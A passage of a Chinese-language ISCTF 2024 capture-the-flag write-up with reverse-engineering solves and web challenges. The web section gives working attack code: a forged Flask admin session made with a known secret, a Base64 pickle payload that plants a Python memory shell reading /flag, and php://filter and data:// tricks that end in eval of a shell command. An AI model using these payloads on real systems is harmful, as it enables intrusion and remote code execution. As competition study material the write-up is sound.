    if (p[0]+p[1] != pow(I-----I,2) * pow(I-----------I,2) + (I---I)) error();

    if (p[1]+p[2] != pow(I-------I,2) * pow(I-----I,4) - (I---I)) error();

    if (p[0]*p[2] != (pow(pow(I-------I,2) * pow(I-----I,3) - (I---I),2) - (I-----I)*(I-------I))) error();

    if (p[3]+p[5] != pow((o-------o
                          |       !
                          !       !
                          !       !
                          o-------o).A,2) * (I-----I)+(I---I)) error();

    if (p[3]+p[4] != pow((o-----------o
                          |           !
                          !           !
                          !           !
                          o-----------o).A,2)+(I---I)) error();

    if (p[4]*p[5] != (pow((o-------------o
                           |             !
                           !             !
                           !             !
                           o-------------o).A,2)-(I---I))*(I-----I)*pow(I-------I,2)) error();

    if (p[7]+p[8] != (o-----------o
                      |L           \
                      | L           \
                      |  L           \
                      |   o-----------o|!
                      o   |           !
                       L  |           !
                        L |           !
                         L|           !
                          o-----------o).V*pow(I-----I,2) - pow((o-------o
                                                                      |       !
                                                                      !       !
                                                                      o-------o).A,2) + (I---I)) error();

    if (p[6]+p[8] != (o-----------o
                      |L           \
                      | L           \
                      |  L           \
                      |   L           \
                      |    L           \
                      |     o-----------o
                      |     !           !
                      o     |           !
                       L    |           !
                        L   |           !
                         L  |           !
                          L |           !
                           L|           !
                            o-----------o).V - (I-----I)) error();

    if (p[6]*p[7] != (o---------------------o
                      |L                     \
                      | L                     \
                      |  L                     \
                      |   L                     \
                      |    L                     \
                      |     L                     \
                      |      L                     \
                      |       L                     \
                      |        o---------------------o
                      |        !                     !
                      !        !                     !
                      o        |                     !
                       L       |                     !
                        L      |                     !
                         L     |                     !
                          L    |                     !
                           L   |                     !
                            L  |                     !
                             L |                     !
                              L|                     !
                               o---------------------o).V*(pow(I-------I,2) + (I-----I)) + pow(I-----I,6)) error();

    if (p[9]+p[10]*p[11] != (o---------o
                             |L         \
                             | L         \
                             |  L         \
                             |   L         \
                             |    o---------o
                             |    !         !
                             !    !         !
                             o    |         !
                              L   |         !
                               L  |         !
                                L |         !
                                 L|         !
                                  o---------o).V*(I-------I)*pow(I-----I,4)-(I---I)) error();

    if (p[10]+p[9]*p[11] != (o-----------o
                             |L           \
                             | L           \
                             |  L           \
                             |   L           \
                             |    L           \
                             |     o-----------o
                             |     !           !
                             o     |           !
                              L    |           !
                               L   |           !
                                L  |           !
                                 L |           !
                                  L|           !
                                   o-----------o).V*pow(I-------I,3) - (I-----------I)*((I-----I)*(I-----------I)+(I---I))) error();

    if (p[9]+p[10] != (o-------------o
                       |L             \
                       | L             \
                       |  L             \
                       |   L             \
                       |    L             \
                       |     o-------------o
                       |     !             !
                       o     |             !
                        L    |             !
                         L   |             !
                          L  |             !
                           L |             !
                            L|             !
                             o-------------o).V-(I-----------I)) error();

    if (p[12] != 'w') error();
}

由题可知,题目需要我们求解一个长度 13 的密码,第 13 个字符已确认是 w。结合 somelib.hxx,前面的判断需要满足如下条件:

if (p[0] + p[1]) == 101;
if (p[1] + p[2]) == 143;
if (p[0] * p[2]) == 5035;
if (p[3] + p[5]) == 163;
if (p[3] + p[4]) == 226;
if (p[4] * p[5]) == 5814;
if (p[7] + p[8]) == 205;
if (p[6] + p[8]) == 173;
if (p[6] * p[7]) == 9744;
if (p[9] + p[10] * p[11]) == 5375;
if (p[10] + p[9] * p[11]) == 4670;
if (p[9] + p[10]) == 205;

因此编写如下脚本求解,所得结果即为 Flag。

for i in range(0x20, 0x7f):
    for j in range(0x20, 0x7f):
        for k in range(0x20, 0x7f):
            if i + j == 101 and j + k == 143 and i * k == 5035:
                p0, p1, p2 = i, j, k

for i in range(0x20, 0x7f):
    for j in range(0x20, 0x7f):
        for k in range(0x20, 0x7f):
            if i + k == 163 and i + j == 226 and j * k == 5814:
                p3, p4, p5 = i, j, k

for i in range(0x20, 0x7f):
    for j in range(0x20, 0x7f):
        for k in range(0x20, 0x7f):
            if j + k == 205 and i + k == 173 and i * j == 9744:
                p6, p7, p8 = i, j, k

for i in range(0x20, 0x7f):
    for j in range(0x20,0x7f):
        for k in range(0x20, 0x7f):
            if i + j * k == 5375 and j + i * k == 4670 and i + j == 205:
                p9, p10, p11 = i, j, k

flag = ''.join([chr(x) for x in [p0, p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11]]) + 'w'
print(flag) # 50_pr3TtY_n0w

计算结果(Flag)在本地验证通过:

flag{50_pr3TtY_n0w}

ISCTF 2024

Reverse 部分

找啊找

EXEInfoPE 和 Detect It Easy 分析均发现目标程序(64位)套的是魔改 UPX (3.91+) 壳,因此要先将魔改壳脱掉。这里直接把区段名 APK 改回 UPX 再脱壳即可。当然,用 x64dbg 动态调试再去脱应该也行。

IDA 静态分析之后发现目标程序大概就是异或 0x39 处理密文,而且最后解出来的 Flag 需要大小写反转。但程序里有好几段都是异或后的密文,其中有几段解出来发现是假 Flag,比如 ISCTF{haHAHA_m@in_WHere_1s_aa????!!}。通过调试或分析题目引用,我们可以确认题目最终调用的密文。

最后的解题脚本如下:

bytes = [0x50, 0x4A, 0x5A, 0x4D, 0x5F, 0x42, 0x7E, 0x76, 0x76, 0x5D, 0x18, 0x18, 0x08, 0x4A, 0x56, 0x66, 0x60, 0x56, 0x4C, 0x66, 0x5F, 0x08, 0x57, 0x5D, 0x66, 0x08, 0x6D, 0x66, 0x54, 0x79, 0x50, 0x57, 0x18, 0x18, 0x79, 0x44]

decrypted = []
for byte in bytes:
    if byte != 0:
        decrypted.append(byte ^ 0x39)
    else:
        decrypted.append(0)

result = []
for char in ''.join([chr(b) if 32 <= b <= 126 else '' for b in decrypted]):
    if char.islower():
        result.append(char.upper())
    else:
        result.append(char.lower())
print(''.join(result))

目标 Flag 为:

ISCTF{gooD!!1SO_yOU_F1ND_1t_M@IN!!@}

Web 部分

新闻系统

题目附件把网站程序给出来了。系统使用 Flask 搭建,其中, 应用的 SECRET_KEYW3l1com_isCTF,且题目涉及到反序列化等操作。同时我们还得知系统的用户名为 test,密码为 test111

登录系统后,自动跳转到 /news 页面。通过分析,我们也确认系统存在 /admin 页面。只有管理员才能访问 admin 页面,而管理员的用户名是 admin,密码是 admin222…… 吗?

我们发现代码里给的管理员用户名和密码不起作用,无法登录,尝试登录提示 “登录失败,请检查用户名和密码” 。因此我们尝试解密 Flask Session:

$ flask-unsign --decode --cookie ".eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.aSRUVg.4UkOE94mJgYm-ZXjxTnlQLznTCg"
{'login_error': True, 'password': 'test111', 'status': 'user', 'username': 'test'}

我们使用题目之前给的 SECRET_KEY 对 Session 进行伪造:

flask-unsign --sign --secret 'W3l1com_isCTF' --cookie "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

SECRET_KEY = "W3l1com_isCTF"
SESSION_DATA = {
    'password': 'admin222',
    'status': 'admin',
    "username": "admin"
}

app = Flask(__name__)
app.secret_key = SECRET_KEY

serialized = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serialized.dumps(SESSION_DATA)

print(cookie)

构造相应的 Session 即可访问后台管理界面。

ISCTF 2024 新闻系统 1

同样在代码中发现题目可以 Pickle 反序列化执行任意代码:

def add_news(self, serialized_news) -> None:
        try:
            news_data = base64.b64decode(serialized_news)
            # 黑名单机制
            black_list = ['create_news','export_news','add_news','get_news']
            for i in black_list:
                if i in str(news_data):
                    return False
            news = pickle.loads(news_data)
            if isinstance(news,News):
                for i in self.news_list:
                    if i.title == news.title:
                        return False
                self.news_list.append(news)
                return True
            return False
        except Exception:
            return False

打 Python 内存马(题目在操作序列化数据的时候用到了 Base64 编码,所以这里传进的数据也应该以 Base64 编码)在 add_news 处触发反序列化,得到 Flag:

import base64

opcode = b'''cbuiltins
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())"
tRc__main__
News
(S''
S''
tR.'''

data = base64.b64encode(opcode)
print(data.decode())

ISCTF 2024 新闻系统 2

ISCTF{01bf33ab-e8d0-46a3-93b3-d1009e3084e0}

另外,官方 WP 中提到这个题目出现了非预期解。(比赛环境可以反弹shell,复现环境中被修复)

千年樱

<?php  
include "dir.php";  
highlight_file(__FILE__);  
  
echo "proof of work<br>";  
  
if($_COOKIE['from'] === "ISCTF"){  
    echo $dir1;  
}  
else{  
    die('what? so where are you from?');  
}  
  
// <!-- do you want to learn more?  goto story.txt -->

story.txt 的内容和解题没有任何关系。把 Cookie 改为 from = ISCTF 即可进入下一部分:

/get_contents_qwerghjkl.php

第二部分内容如下:

<!DOCTYPE html>  
<html>  
<head>  
    <title>read! read! read!</title>  
</head>  
<body style="background: '/static/bg1.png' ">  
    <?php    include "dir.php";    highlight_file(__FILE__);  
  
    if(file_get_contents($_POST['name']) === 'ISCTF'){  
        echo $dir2;  
    }  
    else{  
        die("Wrong!");  
    }    ?>  
</body>  
</html>

要求以 POST 用 name 传入内容为 ISCTF 的文件。这里传入的数据:

data://text/plain,ISCTF

进入下一部分:

/well_down_mlpnkobji.php

第三部分的内容如下(背景图片真干扰阅读):

<!DOCTYPE html>
<html>
<head>
    <title>read! read! read! we need read!!!</title>
</head>
<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
    <?php
    include "dir.php";
    highlight_file(__FILE__);

    function waf($str){
        if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
            die('bad hacker!!!');
        }
    }
    $poc = $_POST['poc'];
    waf($poc);
    $filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
    $result = file_get_contents($filename);
    if($result === "sakura for ISCTF"){
        echo "yes! master!";
        eval($_POST['cmd']);
    }

    if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
        var_dump($result);
    }


    ?>
</body>
</html>

很明显要构造 POC,最后触发 RCE。题目还给出 GET output = 114514a 可以用来绕过看结果。result 显示的 badChar.txt 的内容如下,文字量挺大

string(2638) "When I finished grad school in computer science I went to art school to study painting. A lot of people seemed surprised that someone interested in computers would also be interested in painting. They seemed to think that hacking and painting were very different kinds of work—that hacking was cold, precise, and methodical, and that painting was the frenzied expression of some primal urge. Both of these images are wrong. Hacking and painting have a lot in common. In fact, of all the different types of people I've known, hackers and painters are among the most alike. What hackers and painters have in common is that they're both makers. Along with composers, architects, and writers, what hackers and painters are trying to do is make good things. They're not doing research per se, though if in the course of trying to make good things they discover some new technique, so much the better. I've never liked the term "computer science." The main reason I don't like it is that there's no such thing. Computer science is a grab bag of tenuously related areas thrown together by an accident of history, like Yugoslavia. At one end you have people who are really mathematicians, but call what they're doing computer science so they can get DARPA grants. In the middle you have people working on something like the natural history of computers—studying the behavior of algorithms for routing data through networks, for example. And then at the other extreme you have the hackers, who are trying to write interesting software, and for whom computers are just a medium of expression, as concrete is for architects or paint for painters. It's as if mathematicians, physicists, and architects all had to be in the same department. Sometimes what the hackers do is called "software engineering," but this term is just as misleading. Good software designers are no more engineers than architects are. The border between architecture and engineering is not sharply defined, but it's there. It falls between what and how: architects decide what to do, and engineers figure out how to do it. What and how should not be kept too separate. You're asking for trouble if you try to decide what to do without understanding how to do it. But hacking can certainly be more than just deciding how to implement some spec. At its best, it's creating the spec— though it turns out the best way to do that is to implement it. Perhaps one day "computer science" will, like Yugoslavia, get broken up into its component parts. That might be a good thing. Especially if it meant independence for my native land, hacking. "

而只有 $result === "sakura for ISCTF" 的时候,才能够触发 RCE。问题就在于怎么得到符合题目要求的 result

题目定义了一个 WAF 函数,函数的作用是过滤一些内容。所以很明显只能用 php filter 的过滤器了。而且由于题目文本的数量巨大,为了把题目原本的 result 改成触发 eval 所需要的内容,这里要构建一个超长的 POC,用来清空原文内容并让 result 变成题目要求的内容。这个 POC 包含大量的过滤器以及实际需要修改的 Base64 内容

然后执行 cmd 方面,则可以直接用 system('cat f*');

得到响应如下:

ISCTF 2024 千年樱 1

<br />
    <b>Warning</b>: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in
    <b>/var/www/html/well_down_mlpnkobji.php</b> on line <b>19</b><br />
yes! master!
    <?php

$flag = "ISCTF{6afa9e43-057a-44c7-865c-aecb851990c5}";

?>

Flag 如下:

ISCTF{6afa9e43-057a-44c7-865c-aecb851990c5}